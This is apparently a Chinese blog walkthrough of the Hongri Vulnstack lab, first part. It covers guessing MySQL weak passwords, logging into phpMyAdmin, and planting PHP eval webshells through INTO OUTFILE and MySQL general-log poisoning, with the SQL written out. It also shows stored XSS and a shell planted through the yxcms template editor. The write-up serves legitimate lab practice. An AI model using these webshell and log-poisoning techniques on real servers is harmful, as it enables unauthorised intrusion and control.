00.前言
红日靶机系列将分为两篇文章对网站渗透和内网渗透进行逐步讲解,内容比较简单大家可以借鉴一二☺
01.简介
红队实战系列,主要以真实企业环境为实例搭建一系列靶场。该环境有三台主机,分别如下:
vm1-vulnstack-win7:192.168.3.164、192.168.52.143
vm2-vulnstack-Win2K3 Metasploitable:192.168.52.141
vm3-vulnstack-winserver08:192.168.52.138
虚拟机所有统一密码:hongrisec@2019
主题脉络:vm1做外网访问网站的应用服务器,vm2、vm3为内网的主机;目标就是通过网站拿到vm1的控制权限,再通过vm1进行内网渗透获取vm2、vm3的控制权限。
打开ip地址,访问到phpstudy探针。
探针返回很多敏感信息:
phpStudy 探针在原先的phpinfo基础上做了一些变化,是用来探测空间、服务器运行状况和PHP信息用的,探针可以实时查看服务器硬盘资源、内存占用、网卡流量、系统负载、服务器时间等信息。
主要功能
1、服务器环境探测:CPU、在线时间、内存使用状况、系统平均负载探测(支持LINUX、FreeBSD系统,需系统支持),操作系统、服务器域名、IP地址、解释引擎等;
2、PHP基本特征探测:版本、运行方式、安全模式及常规参数;
3、PHP组件支持探测:MYSQL、GD、XML、SESSION、SOCKET等组件支持情况;
4、服务器性能检测:整数运算能力、浮点数运算能力、数据IO能力;
5、自定义探测:MYSQL连接测试、MAIL发信测试、函数支持情况及PHP配置参数。
看到探针,先在下面的MySQL数据库连接检测功能试试弱密码,看看能不能连接上,果断尝试root/root,发现的确是存在弱密码账户:
本地使用navicat尝试连接数据库,发现连接不上暂时作罢,接下来开始进行实施练习。
02.信息收集
拿到一个网站,当然先进行信息收集。个人习惯就是使用端口扫描器nmap和目录扫描器先进行扫描一波看看有啥发现。(目录扫描器我用的是御剑和dirsearch)
发现了一些目录,目标主要聚焦在http://192.168.3.164/phpmyadmin/
phpMyAdmin
是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库。
使用刚刚猜到的弱口令root/root成功登录:
我们也可以查找一下phpMyadmin有没有什么历史漏洞,要查看其版本,通常可以访问以下页面:
Documetation.html
Documetation.txt
translators.html
readme.php
README
changelog.php
changelog
03.漏洞发现
登录进去getshell就简单了,通过数据getshell需要满足以下条件:
1.数据库root权限登录
2.知道网站的真实物理路径
3.有数据库读写权限
我们已经是root权限的情况下,第一步的话,我们可以通过前面的探针得知网站的绝对路径为C:/phpStudy/WWW;若没有探针的情况下可以试试存不存在phpinfo路径(前面目录扫描已经扫出来了,这里为假设),存在的话也是可以找到网站的绝对路径的;还有一种就是通过网站报错返回的报错信息来收集······
网站的绝对路径为:C:/phpStudy/www
这里还有一种可以猜测网站的绝对路径。那就是直接执行select @@datadir语句查看mysql的默认存储目录:
可以猜测网站的绝对路径为C:/phpstudy/www。接下来就是熟悉的写入一句话木马:
select “<?php eval($_POST['a']);?>” into outfile ‘c:/phpstudy/www/shell.php’;
返回MySQL server is running with the --secure-file-priv option so it cannot execute this statement。执行show variables like ‘%secure%’;发现secure_file_priv是null,写入不了。
secure_file_priv参数:
1. NULL 不允许导入或导出
2. /tmp 只允许在 /tmp 目录导入导出
3. 空 不限制目录
尝试通过日志写入马:
在左侧:主页 右边–变量–搜索gen
更改
log:ON
log file:C:\phpStudy\www\shell.php
更改后直接执行select “<?php eval($_POST['a']);?>”;然后蚁剑连接成功getshell:
看到文件夹内还有一个备份文件,下载看看原来还有一个网站:
网站地址 : http://IP/yxcms
看到是一个cms,可以拿来练练手也可以直接查该cms的历史漏洞直接复现,那我们就先进行目录扫描吧:
扫到了一些存在目录遍历的目录,但没啥敏感信息。继续找找看,发现在首页的公告信息直接告诉我们后台地址和管理员的账号密码了:
刚好,刚刚在网站的留言板尝试了一下XSS,现在登进去看看有没有反应。登进去找到留言模块,成功弹窗,存在XSS漏洞:
在网站设置里也存在储存XSS:
接下来尝试第二种getshell方法:
在数据库管理—SQL执行尝试更改设置操作:
show variables like 'general%';#查看当前日志文件
set global general_log = "ON";#开启日志记录
set global general_log_file='C:\\xx\\xx\\xx.php'#更改日志文件路径
select '<?php @eval($_POST[123]);?>';#将一句话木马写入日志文件
显示执行成功,但是没有回显,直接下一步。由于我们先前已经开启日志记录,我们先把日志记录关闭,看看有没有成功:
可以看到日志记录的确已经关闭,说明是可行的(当然,如果没有回显的情况下,只能全部操作盲试咯)
接下来就是再次开启、更改日志文件路径并写入一句话木马了,可以看到也是能成功连接蚁剑(在更改日志路径的时候路径使用\\
会被过滤,使用/
即可):
第三种getshell方法更简单:
直接在网站的前台模板中添加我们的一句话木马即可
在结构管理–碎片列表–删除功能处还存在sql注入漏洞,详情的话可以看这篇文章,写的很详细:
PHP代码审计——SQL注入漏洞(YXcms)
好了,到这里网站渗透也基本结束,接下来就是内网渗透了,有兴趣的可以看下一篇(●’◡’●)(再写ing)
结束语:这是抬锅整理出来的复现过程希望能对大家有帮助☺